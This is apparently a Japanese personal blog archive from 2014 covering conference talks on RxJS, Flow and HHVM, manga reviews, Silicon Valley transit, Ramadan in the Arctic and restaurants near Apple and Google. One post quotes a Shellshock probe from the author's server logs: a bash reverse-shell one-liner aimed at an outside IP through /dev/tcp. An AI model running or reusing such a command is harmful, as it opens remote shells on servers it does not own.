Asynchronous Programming at Netflix

非同期プログラミング、というタイトルでRxJS (Reactive Extension for JavaScript)の解説。語り口も明確だし、これは面白かった。イベントソースを非同期なコレクションとみなして、forEachやmapなどを駆使すると綺麗に書けますよ、Netflixではもう使ってます、というもの。

もともとReactive ExtensionはMS発祥のテクノロジーで、C#などではLINQとうまく統合しているみたいなんだけど、JSの場合は関数をチェインさせる。スピーカーはMSからNetflixに移った人らしい。チュートリアルもわかりやすく(前半はふつうの関数プログラミングのはなしなのでだるいが)、なかなか興味深い内容だった。

JavaScript Testing and Static Type Systems at Scale

前半はJSのモジュールの話とテストの話。あんまり真面目に聴いてないけど、ものすごい目新しい話ではなかったと思う。が、後半のFlowっていう型チェッカはちょっと面白かった。

JSに型チェックを入れるってのは、いくつか実例はあって、Closure Compilerとか、TypeScriptとか。ただ、Flowの型チェックがすごいのは、構文解析をしてJSコードの型チェックを理解して的確に間違いを検出する。プレゼンの例だと、
function size(input) {
  if (input != null) {
    return input.length;
  }  return 0;
}
とか、
function size(input: string | Array<string>): number {
  if (typeof input == "string") {
    return input.length;
  } else {
    for (var i = 0, sum = 0; i < input.length; i++) {
      sum += input[i].length;
    }
    return sum;
  }
}
とかを正しく型チェックできる……らしい。今年中にオープンソースにするってさ。

Migrating Wikipedia to HHVM

HHVMはFacebookがリリースしたPHPとHackっていう新言語用のVMで、WikipediaのPHPをHHVMに移行してパフォーマンスを改善させたっていう話。これは正直、HHVMがどんなもんで、どういう特性があって、みたいな技術的な側面を期待してたら、そのへんはあんまり言及がなくて肩透かし。ふつうにHHVMにしたら速くなりました、という感じ。

ただ興味深かったのは、なぜWikipediaがPHPのパフォーマンスを気にしないといけないか、ってこと。WikipediaはVarnishをつかってキャッシュをしていて、静的ページはかなりキャッシュにヒットする。PHPでなにをどうしようが、95%のリクエストには全く何の影響もない。ではなぜ、PHPのことを気にする必要があるのか?

PHPが影響するのは、キャッシュがきかない部分だ。たとえばページ編集時のプレビューはキャッシュできないから、PHPでパーズするしかないが、非常に多岐にわたる複雑な拡張機能のためにパーズはめちゃくちゃ遅くなるらしい。バラク・オバマの(英語の)ページで実験してたけど、旧来の普通のVMだとページ生成に20秒ぐらいかかるという。HHVMにしてみたらなんと6秒! いやそれでも遅いと思うけどね……。

また、Wikipediaではログインユーザのほうが平均的に遅くなる傾向があるという。

ようするに、Wikipediaに対する貢献度が高い、いわばプライオリティユーザーにむしろペナルティを与えてしまっている現状なのだ、と言う。だから、割合としては少なくても、きちんと気にしないといけないのだ、ということだそうです。

いじょ。mobileとdataのトラックも、まあヒマがあったら見てみます。

2014-10-05

9月に読んだまんがから




適当にピックアップ。

『ハイキュー!!』は11巻12巻が同時発売。

相変わらず面白いんだが……なんかちょっとポエミーなところが鼻についてきた。なんというかこう、なんといえばいいんだろうね。ダメだけど一生懸命がんばるのってかっこ悪くないよ、という価値観を強く推したい印象があるのだけど、その価値観自体はいいんだけど、なんかこの作品での扱われ方は少しもにょる。画力や迫力でなんとなくごまかされてきたが、ちょっと変じゃないか?というところがある。

石黒正数『木曜日のフルット』[4]

相変わらずな感じなんだが、読んで満足もするのだが、冷静になって考えてみると何が面白いのかよくわからない回がある。何が面白いというか、なにがなんだかよくわからない……面白いんだろうかこれ……と混乱する。勇者の話とか、寝てる間に入れ替わるのをビデオで調べる話とか。なんなんだろうこのまんが。あと毎回の「〜ション」とフィクションをかけたネタが続かなくなったらどうなるのか気になる。あれって編集が考えてるんだろうか? ネタ切れになって困り果てたりしないのだろうか……。

ぢゅん子『私がモテてどうすんだ』[4]

これはびっくりするほどつまらなくなっていて驚いた。3巻でリバウンドして復帰しておしまい、って終わらせるほうがすっきりまとまっていたのでは。ただ実際のところ、主な読者は女性で、続ける以上は登場している男の子のキャラをきちんと描くという展開になっていくが、自分はこういう展開にまったく興味がないというところと思われ……アマゾンレビューでは主な読者層はこれで満足しているようなので、ミスマッチということでここらで諦めるのがたぶん正解。

森薫『シャーリー』[2]

良かった。一冊目のシャーリーのころの絵柄も良いと思うけど、このごろの森薫は描き込みがものすごく、でもなんだかその執念的なものをあまり見せず軽々と見せているのが良いなあと思う。個人的に良かったのは忘れ物を届けに行くエピソード。元彼氏と会う話について、あとがきで「おとしまえをつけておいたほうがいいかなと思い」って言ってて何のことかまったく思い出せず一冊目を買い直してしまったよ(それで読みなおしたが、シャーリーも良いけどイタズラ好きの旦那様の話がとても好きだなあと再確認したのだった)。

高野苺『orange』[1-3]

高校の入学式の日に、10年後の自分を名乗る人間から手紙が来て……という展開の少女漫画。転校生の男の子が1年後に死ぬことになるという未来から救ってほしい、という内容の手紙から未来を変えるべく頑張る。いかにも少女漫画的な些細なことでうまくいかなかったり悩んだりで、おいおいそんなんで大丈夫なのかと思ったりするが、まあそこがリアルなのかもしれない。SF的には面白さはないが、少女漫画的には悪くない。

渡辺カナ『ステラとミルフイユ』[1]

この人は『花と落雷』はあんまり面白いと思わなかったのだが、こころみにほかの短篇集(『ぼくらのゆくえは』『マシカクロック』)を読んでみたらなかなかよかったので買ってみた。親に反発してボロアパートで一人暮らしを始めた高校生と住人たちのはなし。タイトルの意味はよくわかりません。

絵がすごく綺麗なのも良いけど、ちょっとひねて闇を背負っちゃってるかんじの主人公……を生暖かく見守る周囲のひとたちの描写などはなかなかよいと思う。継続。

登場人物は『ぼくらのゆくえは』と一部かぶってる。

あと『なんて素敵にジャパネスク』の漫画版(結婚までを描いた1-6巻)を読んだ。

ちょっと少女漫画成分おおめの月だったかなあ。

2014-09-26

/dev/tcpによるbashのソケット通信

件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。

ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。

アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした(一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……)。

さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。
/bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
えっ/dev/tcp ってなにそれ、と思ったんですが、Bashの独自拡張で、このパス名を使ってソケット通信する機能があるんですね。全然、まったく、知らなかった。ファイルシステムとかFUSEのようなレイヤじゃなくてシェルでそんなことやるわけ? まじで……。

今回の脆弱性が発見されるまで変数定義で関数定義できるという機能も知りませんでしたし、bashって思ったよりヤバいやつだなと思いました。/bin/shに使うようなものではないかな……。

2014-09-14

電車に乗る

さいきん引っ越したのだが、引越し先から歩いて15分ほどのところにライトレールの駅があることに気づいた。

アメリカは車社会だとよく言われる。サンフランシスコなどの都市部ではそうでもないのだと思うが、シリコンバレーは概して田舎なので、やっぱり車は必須だ。車なしで生活するのは、ほんとうに来たばかりの人か、何かの企画でチャレンジしている人かだろう。
とある週末の昼、家のちかくの道。速度制限は45mphなので車は時速70kmぐらいで走っている
公共交通機関もバスと路面電車があるにはあるんだけど、まあなんかしょぼいというのもあり、こちらに移住して2年間、あるいはそれ以前の出張も含めて、一度も乗ったことがない(カルトレインはあるけれど)。東京オフィスで働いていたころに近くのチームにいたこの辺の生まれの同僚は、二十数年生きてきて、いちどもシリコンバレー・ベイエリア近辺のバスに乗ったことがないらしいと聞いた。

が、駅があるなら使ってみても良いかもしれない。サンノゼのダウンタウンに行くのはそれなりに便利なのかも?

ここで軽くシリコンバレーの公共交通機関を説明しておこう。

サンフランシスコ市と、シリコンバレーの中心地とも言えるサンノゼ市のあいだは約60kmほど離れている。この距離は東京駅とつくば駅の距離に近い。サンフランシスコからサンノゼを経由してもう少し南まで行くのがカルトレインという大仰な列車で、サンフランシスコとサンノゼのあいだでだいたい1時間半ぐらいかかるかな……。本数は少ないし遅いしうるさいしで評判はよろしくない(なのでイーロン・マスクが改善案とかを出してみたりするわけだ)。が、いずれにせよこれは長距離用列車である。TXみたいなものですね。

それから、サンフランシスコ市内とベイブリッジを挟んだ対岸であるイーストベイまで伸びるのがBARTという路線。これはぼくも乗ったことがある。サンフランシスコ国際空港から乗れる電車はこれしかない。これに乗ってカルトレインのMillbrae駅とかに行く、というのが出張者の定番だ。

で、シリコンバレーの位置する、いわゆるサウスベイあたりの公共交通を担うのがVTAというやつで、VTAはバスと路面電車の両方を運行させている(BARTをイーストベイからさらに南まで到達させる計画も進行しているが、これはまだあと数年はかかる見通し)。この路面電車のことをライトレールと呼んでいる(ってライトレールって一般名詞だったんですね知らなかった)。

VTAライトレールには2つしか路線がなく、一方がマウンテンビュー駅から北にぐるっと回ってサンノゼダウンタウンを通り過ぎ、また西に戻ってキャンベル市のほうまでいくルート、もうひとつがアラムロック(サンノゼ東部)から北にぐるっとまわって同じくサンノゼダウンタウンを抜け、南西のほうに行くルート。
この2つの路線はサンノゼの北の方で合流し、そのままダウンタウンのあたりまでは同じ駅を使う。
ライトレール。まあこういう感じの路面電車。3両編成ぐらい
乗車賃は固定で1回$2。駅に券売機があるのと、サンフランシスコなどで使われるクリッパーカードでも乗車できる。もっとも、今回乗った時は検札がなかった。
ぼくの乗車駅からサンノゼダウンタウンまでは、だいたい20-30分程度の乗車時間のようだった。バスみたいに降車するときは知らせないといけない(なんか接触感知式のスリットのような部分をさわる)。駅に人影がなく降車客もいない場合はそのまま停止せずに通りすぎている。ダウンタウンなど人通りが多く、ホームの席でのんびり休憩している人なども多い駅では、ちゃんとホームで立って待ってないと止まってくれないようだった。

乗った感想じたいはとくになし。地元民のつかうふつうの電車だ。しいていうなら、車内の案内表記が英語とスペイン語にくわえてベトナム語(たぶん)と中国語があるのがシリコンバレー風かなぁ……。その写真もとっておけばよかったか?

ちなみにサンノゼ市はとうとう人口が100万人をこえたようで、実はサンフランシスコよりも人口が多い(ウィキペディアによるとサンフランシスコは80万人ほど)。ダウンタウンも案外それっぽくなっており、それでいて治安も(そんなには)悪くない。まあ人口の大半はハイテク産業と思われるのでサンフランシスコほど文化的に成熟しておらず、べつにかっこいい街ではないのは確かだが(人口の大半は郊外の住宅地と思われる)、ダウンタウンのあたりはそんなにダメな感じでもないと個人的には思う。
ちなみに、シリコンバレーのあたりのモールやダウンタウンにある駐車場はだいたい無料で車を停められるが、サンフランシスコ市内やサンノゼダウンタウン近辺は有料駐車場ばかり。といった事情を考えると、電車で往復$4なら悪くない気もする。ま、そんなに行く用事もないわけだけど……。
b2 coffee
そんなわけで今回も「とりあえずライトレールに乗ってみる」というのが目的だったので、ついたはいいがやることはなく、とりあえず b2 coffee でコーヒーを飲んで帰ってきた。サンタクララにあるBellanoというカフェの支店で、なかなかオススメ。豆はsightglassのを使っている。あとほかにもPhilz Coffeeもダウンタウンにありますね。

2014-09-11

ひらがなでかくこと

http://yoriyuki.info/ja/blog/2014/09/09/kunyomi/

かわばたやすなりが そんなことを いっていたとは。やはり じだいは ぜんぶ ひらがな なのか。

くにざかいの ながい トンネルを ぬけると ゆきぐに であった。

ふむ。かわばたやすなり ぜんぜん よんでないから、ほかに れいぶんが でてこない。わ

ただ、もんだいの「訓読みのはなし」でも、この ぼうとうが くにざかい なのか こっきょう なのか あいまいで、くにざかい という せつが ゆうりょくだ、という はなしも でてきた。さくしゃの いとが そうであっても、かんじで かかれるものは どうしても あいまいになる。そういう しそうが あるなら、やっぱり、ひらがなで かくべき なのかもしれない。

くんよみを つかわずに かく、というのを やってみた わけだが、やってみて おもったのは、ひらがなだけで こうせいされる パートは すごく よみにくくなるし、ふしぜんなので、かえって、ひらがなが つづきすぎない ように、じゅくごに いいかえたり、そういうことを する はめになった。ふだんなら、こんなふうに じゅくごを つかわないんだけどな、って、ほんまつてんとう だね。わかちがきを すれば よかったのだが、いっけん ふつうの にほんごに みえる、というのも もくてき だったため、わかちがきは できなかった。

そんで ひらがなといえば ゆうめいな ひろしまさんの ブログを よみかえしてみて、いろいろ おもったけど、まあ それは よだんなので ごじつ きがむいたら かいてみよう。

しかし、やっぱ ひろしまさん ほど エクストリームには なれないし、ひらがなだけに なるのは、じぶんには ちょっと むりだな。まだ。

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さて、リンクさきの本題である正書法については、しょうじきまったくわかんないんだけど、日本語については、韓国語とくらべるのがいいのではないか?という気がする。韓国語も、むかしは漢字とまぜがきで、訓読みのようなことをしていたようだ、と、くだんの本にかいてある。

ハングルがうまれたのは15世紀みたいだけど、公的につかわれるようになったり、正書法がうまれたのは、けっこう最近のことみたいだ。わかちがきも19世紀にはいってからみたい。

正書法が明文化されたのは日本統治時代らしいんだけど(ウィキペディア情報)、これには漢字利用はふくまれていたのかな。くわしく調べると、興味深い話が出てきそうにおもう(が、ぜんぜんよくわかんないので誰か調べて教えてくれると嬉しい)。

2014-09-09

笹原宏之『訓読みのはなし』。おもしろいんだが、疑問はつのる



読みのはなし 漢字文化と日本語 (角川ソフィア文庫)

なんとなく漢字の本をよもう、と『訓読みのはなし』。中国でうまれた漢字が日本にやってきて、日本なりのよみかたである訓読みを発展させていったわけだけれども、そのありかたにはものすごくたくさんのバリエーションがあるわけで、その多岐にわたるいろんな訓読みのありかたを、いろいろ説明した本。

この本のユニークなところがあるとすれば、韓国語(朝鮮語)やベトナム語などにおける漢字利用のありかたもあわせて参照しつつはなしをすすめているところで、これが本全体におくゆきをあたえている。

ただ難点をいうと、まとまりがない。

こういうはなしがある、ああいうことがある、こういう場合にはこうよむが、こうならこうだ、ナントカ地方にはこれこれこういう地名がある、こんなめずらしい苗字もある、というのが、ごちゃっとならんでいる。そんな印象。

また本のなかでは相互参照もおおいのだが、訓読みがきわめて複雑であり、ひとつの現象をさまざまな側面からみることができるからだ、ともいえるが、たんに内容が整理されていないだけなのかもしれないというきもする。というか整理のしかたがちがうのかも、とおもう。たとえば、地名や人名は、またべつに説明したほうがよかったんじゃないかな。

そして、著者がいわんとしていることも、いまひとつわからなかった。漢字やその訓読みの文化をかたることで、おくぶかいなあ、おもむきぶかいなあ、とあじわう、ということなのだろうか?

たしかに、かかれている個別の事例はそれぞれになかなかおもしろく、トリビアをおしえてもらうような、そういうたのしさはある。

が、よんでいてぼくが個人的にかんじたのはむしろ、ここまでメンドくさいことをするぐらいなら、漢字なんてやめちまえばよかったのに、ということである。この本にかいてあることによると、微妙な事例もあるにはあるが、韓国語でもベトナム語でも、漢字にたいしておなじ意味の現地語のよみをあてるという「訓読み」の事例はない、もしくはきわめて限定的だ、ということだそうである。だがなぜか漢字文化圏のなかでも日本語だけは訓読みを発達させており、これがいまでもつづいている。なお、過去には韓国語でも訓読みがあったらしいんだが、きえたらしい。

きえた、というと文化の断絶のようにもきこえるが、これを追放に成功した、といえば、むしろいいことのようにおもえる。日本語からも訓読みを追放してしまえばいいんではないか、ともおもう(もちろん国語学者とか研究者はおおいに知識をたくわえてくれればいいし、過去の文献をしらべるには、そういう知識は必要なんだけど、一般人の言語使用は、それと関係がない)。

たとえば、「はかる」とよめる漢字は130個以上あるんだって。「生」のよみかたも3ケタあるんだって。そういうのをよんで、日本語ってすごいなあ、とかおもうんだろうか。アホらしいな、近代化したときに追放しておくべきだったな、というのが忌憚ないぼくの感想なのですが。

もちろん、訓読みがなくなったからとっても、音読みにも漢音や呉音など複数の音がでてくるし、日本語には重箱読みや湯桶読みのようなヤヤコシイものがいっぱいあって、さらにいえば、音読みなのか訓読みなのか慣用的なあて字なのか意味不明なのかわからないようなものもいっぱいあるようで、はなしはそう単純でもない。

となれば、ぜんぶひらがなでええやん、というきもしていて、たぶん、なれればそれでも大丈夫だとおもう。ぼくはそこまでエクストリームには、ならないとおもうけど。

実はこの感想も、ぜんぶひらがなでかこうかなとちょっとおもったんだけど、そうするときっと読者が激減するだろうな、とおもったので、ひとまずあきらかな訓読みを追放してみた(本のタイトルになっているため「訓読み」だけはのこしているが)。いかがですか? わりとイケないこともない、ような気もするんだけど。

2014-09-06

旧ソ連圏のバス停の写真集

Kickstarterで支援してたSoviet Bus Stopというプロジェクトからモノが届きました。

旧ソ連圏を旅して撮影したバス停の写真ばかりをあつめた写真集というニッチなプロジェクトながら1000人以上の支援を集め(といっても全世界で1000人だからニッチだな)、ぶじ刊行にこぎつけたということです。
著者である写真家のChristopher Herwigさんのサイトからサンプルがいくらか見られます。

ロンドンからロシアまで旅行したときに、道すがら出くわすバス停がひとつひとつ違っていて、ユニークな意匠が凝らされているということに気づき、写真を撮っていって貯めていたものをまとめたということのようです。

これなんか良いですよねえ。鎌と槌の意匠が凝らされていて超ソ連。
比較的頑丈なものが多いようで、整備もされ、まだ実際に使われているようですが(普通に待っている現地人らしき人もいるので)、一方で古びているのもかっこいい。

本としてもハードカバーで、それなりにちゃんとしたつくりで、ISBNも入ってます。そのうちふつうに買えるようになるかもしれません。支援者に送られたのはシリアルナンバーつきの限定版のようですが、まあ限定版である必要はないのかもw

2014-08-06

東浩紀『弱いつながり』ーーイングレスをやるべき、という本

東浩紀『弱いつながり』を読んだ。

ネットは自分の趣味関心に強く縛られる。情報であふれているがその情報まで到達できない(本人に到達する気がないので)。だから世界を物理的に旅をして、観光をして、新しいものを見て、自分を変えていくのが大事だ、という本。

本の内容について細かい部分には疑問がある。たとえばウェブ上の言語の問題についていろいろ書いてあるのは、どちらかといえばただの技術的な課題ではないか、とか。旅行は時間がかかることが良いのだ、というのはほんとうか、とか。が、どうでもいい詳細だと思うのでそこは措く。

些事以外に読んでいてずっとモヤモヤしていたのが解決しなかった点がある。旅に出よーーでもどこに? どう選べばいい?

著者はこの本で再三、旅行をすすめる。環境を変え、違う世界を見ることで自分を変えることをすすめる。しかし、じゃあ、どこに行きゃいいの? 何が旅で何が旅でないのか? それが一番難しい問題なんじゃないか?

もちろん「どこにでも行けばいい、変えることが大事だ」というのが回答なのだろう。しかし、それは答えになっているのだろうか。どこかに行くという発想を持つこと、旅行というときに、思いもかけないところに行って思いもかけない経験をするにはどうしたらいいか、ということ。

だが、だとするとーー検索クエリが自分の環境に縛られているように、旅の行き先も、見聞の広める先もまた、自分の環境に縛られてしまうんじゃないのか。これについてももちろん、実際の旅行はすべてが事前の予定通りに進むものではないから、行ってみた先の予想外な事象が「弱いつながり」を生む、というのが正しい回答だろう。

でもそうなんだろうか。そうなんだけど……旅行はそれ自体がそういう性質を持つものでもないんじゃないだろうか。そして、「観光」という言葉で批判されがちな観光ツアーというのは、そういう弱いつながりをなるべく断ち、日常の延長のままに移動する様態であるからこそ批判されているのではないかなあ。いわゆるパック旅行ってやつ。

そもそも、ここで著者の言う旅行というのは、ようするに見聞を広めましょうということなんじゃないだろうか。多様な文化を眺めるには旅行は良いが、たとえば動物園や博物館でも文化ではなく違うジャンルについてではあるが同じような効能はありそうな気もしている。それが旅行に限られているのは、著者がそういう人間だからであって、それはつまり本書の内容もやはり著者が環境に縛られているがゆえでしかないようにも思える。

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さて、この本を読んでいてとにかくどこかで最近読んだような話だな、とずっと引っかかっていたのだが、あれだ、イングレスである。

イングレスというのはグーグルがやっている位置ゲーだが、中の人はけっこう面白いことを考えているようだ。日本人では川島優志がいまはイングレスチームに入っていて、いろんなところで何度か繰り返しイングレスのコンセプトについて語っているが、最近だとこのインタビューは詳しい。
せっかくインターネットが、
人と人をつなげるツールとしてあるのに、
今、実際に起こってることっていうのは、
同じ考えを持っている人との間だけに
コミュニケーションが閉じてしまう、
っていうことだと思うんです。

閉じたコミュニティーの中で
クラスター化されてしまう、っていうことですね。

でも、社会のあり方としては、
もうちょっといろいろなノイズが入ったり、
いろんな意見にさらされながらやっていくもんだと思うんですよね。
そういう意味では、クラスター化が進んだ先には、
あまりいい結果はないんじゃないかっていう気がします。 

(中略)

何を目指しているかというと、人が動くことなんですよね。
「Ingress」を始めたJohn Hankeという人は、
「Google Earth」を作った人なんですけど、
現代の人は外に出て行かなくなくなってしまった、
と彼は感じたんです。

家から一歩も出ることなく
世界中を巡れてしまうものを作った人が、
それと逆のことを目指したというのは、
なんだか面白いですね。

もう一度、人が外に出て行って、
街の中を自分の目で発見して、お互いに挨拶をしたりとか、
自分の身の周りを幸せにするものが作れないか、
と考えて、彼が始めたのが「Ingress」っていうもので。
ぼくなりの咀嚼では、イングレスの目的というのはみんなに世界を歩きまわってもらいたいということ、ポータルを探すという名目で自分の身の回りの環境の知らなかった部分を再発見することのようだ。「あなたの周りの世界は見たままとは限らない」というのは直接的にはゲームの設定なんだけど、そうやって身の回りの世界を再発見するということも含んでいるんだと理解している。

これは著者の言いたかった内容と重なるのではないか。

そして、ここは重要なのだが、イングレスをやるには、世界のいろんなところに行かないといけない。べつに行き先が海外旅行である必要はないし(そのほうが少ないだろう)、ゲーム内には、ここに行けとかいった指示があるわけでもない。でも、ゲームの構造そのものが「どこか違うところに行ってみる」というのをモチベートするようになっている。これは「旅行って行ってもどこに行きゃいいの、行き先ってのも自分に縛られるんじゃないの」という問題に対する一つの答えになっているのではないか。

というわけで、東浩紀はイングレスをやるべき。『弱いつながり』を読んで感心した人々も、まずはイングレスをインスコすべき。

と思いました。

なおぼくはイングレスやってません。

2014-07-01

白夜のラマダン

ラマダンが始まったらしい。今年は6月28日から7月27日だそうだ。ぼくはイスラム教にはなんの縁もないので、へえっていうぐらいのものだが。

ただ、ラマダンといえば日中の断食だというぐらいは知っている。厳密には日の出から日没までの食事をしないということであって、日が暮れたらけっこういっぱい食べるのだと聞いたことはある。などということをウィキペディアで再確認しつつ、しかし、サンフランシスコ・ベイエリア近辺では、夏はけっこう日が長くて、日が落ちるのは9時を過ぎていたりするし、ラマダンといっても大変だろうな、などとうすぼんやり思いながら晩飯を食ったのであった。

でも、だとしたら、もっと北に行ったらどうなるのだろう。最終的には白夜のエリアに入ってしまうと、ある期間、日はまったく落ちなくなる。一ヶ月ものあいだ、まったく何も食えないと本当に餓死してしまうので、何らかのルールがあるのだろうとは思うが、さて、どうなっているのか?

冗談みたいな話だなと思うが、誰も書いていないということはないだろうと検索してみたら、The Atlanticの思いのほか真面目な記事が見つかった(2013年の記事)→ How to Fast for Ramadan in the Arctic, Where the Sun Doesn't Set

ただしくはリンク先を読んでほしいところだが、面白いと思ったのは、これが実はここ数年で顕在化した新しい問題だということだ。

なぜか? なぜなら、イスラム暦は太陰暦だからだ。

ラマダンはイスラム暦の月の名前なので、イスラム暦に対して毎年いつも同じ月にラマダンの行を行う。が、イスラム暦は閏月などの調整を持たない完全な太陰暦なので、太陽暦から見ると、毎年少しずつ時期がずれることになる。太陽暦は季節に一致するから、ラマダンが行われる季節も少しずつ移りゆくことになる。で、その周期はおよそ30年ちょっとで一周する。

前回(太陽暦から見て)7月にラマダンがあったのはおおよそ30年前、1980年代のことだった。そのころ、イスラム教徒の分布は、経度はともかく緯度的にはそれほどの広がりはなかった。ゼロではないかもしれないが、無視できるほどの少なさであるし、個別になんとか対処したりしていたのだろう。でも今はそれなりに広がっている。記事で取り上げられているノルウェー北部のトロムソはソマリアからの難民が多く、イスラム教徒の人口はおよそ1000人という。コミュニティの合意が必要な規模の人数だ。

記事によれば(2013年は)トロムソのイスラム教徒コミュニティでは、メッカのタイムスケジュールを使うことにしたのだそうだ。つまり、ある日のメッカの日の出が(メッカのタイムゾーンで)朝5時だとすると、トロムソの人々は(ノルウェー時間で)朝5時になったら食事をしないことにする。メッカの日没が7:07であれば、ノルウェー時間で夜7:07にモスクに集まって食事をとるのだそうだ。

2014-06-15

AppleとGoogleに一番近い日本食を本気で探してみた

米国 Apple 本社に一番近い日本食レストランは「吉野家」なんだそうです。へえ知らなかった。たしかにクパチーノには吉野家があります。味もわりと日本と同じです。ぼくはあんまりいかないけどね……。

で、この記事の末尾にGoogleオフィスに一番近い日本食レストランはHappi Houseだと書いてありますが……違うよ! ぜんぜん違うよ。
Shalalaの生姜焼き定食。なかなかいいもんです
GoogleオフィスのあるあたりからHappi Houseのあるあたりに行く途中に、マウンテンビュー市のダウンタウンがあります。このあたりにはけっこういろいろ日本食レストランがあるんです。しかもHappi Houseみたいにいかにもヤバゲなくいもんじゃなくて(ていうか俺、 Happi House には入ったことすらないのでほんとにヤバイのかどうかすら知らんのですが)、もっとふつうのお店です。具体的に挙げると、しゃぶしゃぶ屋のShabuway、居酒屋のBushidoNami nami、すし屋のSushi Tomi、ラーメン屋のShalalaあたりは鉄板です。ちょっと離れるけどGochiのマウンテンビュー店も美味しい。ラーメン屋のMaru Ichiもまあ悪くはない。これ以外にも日本食のレストランはちらほらあります。あと最近はKobe Curryという日本風カレー屋さんもできました。このへんはみな、Happi Houseより近いです。

ではそういうダウンタウンエリアのが一番近いのか? この辺で直線距離的に一番近いのはBushidoか? などと考えてみるに、おそらくそれは間違い。
Google地図より。紫のピンがGoogleのメインキャンパス、右下のAがHon Sushiで左のBがHanabi Sushi
物理的に一番近いのはたぶんきっと、Sports Pageの脇にあるHon Sushiだと思います。ここなら歩いていける距離。もしくは、Googleのキャンパスは広いので、西の方にある建物からであれば、Rengstorff CenterにあるHanabi Sushiなる寿司屋が一番近いことでしょう。まあどっちもぼくは行ったことないので、日本人の言う寿司が出てくる店なのかどうかは定かではありませんが……。

……もっと細かいことを言うなら、会社に一番近いのは、アンドロイドチームのいる建物の1階にある会社カフェでしょう。そのカフェは日本料理(ということになっているもの)主体のカフェなので。ただ会社カフェがありなのだとすると、アップルの会社カフェは羨ましいことにちゃんとした日本料理が出てくるのでノーカンということになるのですが。

日本人Google社員の実感として、ふつうの日本料理の出るお店でいちばん近いのは、まあダウンタウンにあるあたりのお店じゃないでしょうか。ランチということならShalalaですかね。ラーメン屋だけど、ぼくはたまに生姜焼き定食とか食べるんです。普通なんだけど安心できる味。量がちょっと多いけどねw

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ところで、ちょっと調べてみたらアップルのキャンパスから一番近い日本食レストラン、たぶん吉野家じゃないですね。直線距離では、先ほど出てきた居酒屋のGochiのクパチーノ店が近いです。Google Mapsによると車でわずか1マイル、3分です。Gochiは居酒屋なんですが、ランチもやってるみたいだし……ただ、土日はランチ営業していないから記事の趣旨からは外れるんですかね。
オレンジのピンがApple所在地として出てくる場所。AがGochi、Dが吉野家
もう一つの候補はCurry House。ハウス食品のやってるカレー屋さんでファミレスみたいな雰囲気のところです。直線距離では吉野家と大差なさそうだけど、車で行くと1.3マイルと吉野家より少しだけ近い(しかも土日も営業中)。あと、さすがに吉野家よりは遠いでしょうが、南の方にもう少し足を伸ばせばAjitoのような居酒屋もあります。

さらに移動距離でいくと、どうやら一番近いのはSushi Kuniというところのようです。直線距離ではGochiのほうが近いっぽい気がするけれど、同じDe Anzaの西側という好立地のため、Infinite Loopからの車による移動距離はわずか0.9マイルでした。ただしここも土曜は夜のみ、日曜は休日というGochiと同じ営業パターンのようなので、今回の趣旨からは外れるのかもしれませんが。

なお、吉野家から通りを渡った反対側ぐらいのところにちょっとしたアジア系のショッピングセンターがあり(ここには日本スーパーのMarukaiとかダイソーがあります)、このエリアには牛角があります。寿司屋もあるみたいですね。まあ吉野家よりはちょっとだけ遠いけどね。

そういうわけで、何が言いたかったかというと、吉野家しかないわけじゃないんだよねーという。Fさん、たまには牛角ぐらい行ったら良いのでは。いや、いいけどね、吉野家も。っていうか休日出勤って(ry

追記:なお本件調査は +Kazunori Sato さんによるGoogle+の投稿でのコメントの応酬をベースにしております。

2014-06-11

悪いほうが良い原則とJSON

なんとなく改変コピペである(日本語版はこちらによった。ちなみに面倒そうな箇所は適宜はぶいている)

あるとき、MIT 出身と Berkeley 出身の二人の有名人がWebサービスAPIの問題を話し合うために集まった。 MITの彼は SOAP (XMLのRPCフレームワーク) に精通しており、JSONベースのRESTfulサービスのためのドキュメントを読んでいた。彼はJSONがどのようにスキーマ問題を解決できるかに興味を持った。スキーマ問題はサービス事業者が新しいWebAPIを定義するときに起こる。もしAPIの返す値にuserといったフィールドがあるとすると、その意味するものはユーザを指示するID値であったり、なんらかの文字列であったり、簡単なプロフィール情報を含むオブジェクトであったりする。しかしAPIの返すそうしたフィールドは通常ただの1つの名前しかないため、クライアントはその内部構造を把握することができない。そこでサービスは構造の意味をあらかじめクライアントプログラムの作者に伝えなければならない。 「正しい」やり方はもちろん、機械処理可能な構造の意味を表現するための手法を定め、URIによって指定できるようにすることである。
MITの彼は読んでいたJSONやRESTのドキュメントの中にこの問題に対処するセクションを見つけられなかったので、New Jersey側の彼にどうやってこの問題に対処しているのか尋ねた。New Jerseyの彼は、JSONでRESTfulなサービスを作っている人はこの問題に気付いているが、 解決はきちんとしたAPIドキュメントをつねにメンテしておき、そのドキュメントを公開しておくことだと答えた。したがって、正しいユーザプログラマはドキュメントを読んでどのフィールドをチェックするか自分で決めるものだと彼は言った。
MITの彼はこの解決は気に入らなかったが、それはもちろんこの解決が 「正しい」やり方ではないからだった。
New Jerseyの彼は、このJSONの解決は正しい、なぜならJSONの設計哲学は単純さにあるのであって、「正しい」ことをするのは複雑過ぎるからだと言った。 それだけでなく、プログラマがドキュメントを見てフィールド名などのチェックコードを入れることは簡単なことだと。
MITの彼はそれに対して、実装は簡単だが使用法が複雑すぎることを指摘した。New Jerseyの彼は、ここではJSONの設計哲学に従って適切なトレードオフが行われていると答えた。すなわち、実装の簡単さの方が使用法の簡単さより重要なのだと。
MITの彼はそれを聞いて「屈強な男がやわらかい鶏料理を作ることも 時にはあるものなのに」と嘆息したが、New Jerseyの男には理解できないようだった[筆者もよくわからない]。

2014-06-09

Edge of Tomorrow。桜坂洋のラノベの映画化。別物だがこれはこれで


桜坂洋の『All You Need Is Kill』をベースにしたというハリウッド映画、Edge of Tomorrow (→日本の公式サイト)を見てきました。

話としては別物ですが、これはこれでなかなか良かったと思います。

基本的な設定やアイデアの核を流用しながらも、まったくイチからストーリーや設定を再構築した作品といった印象で、ほんとうの意味でも別物。細かい設定なども全然ちがいます。

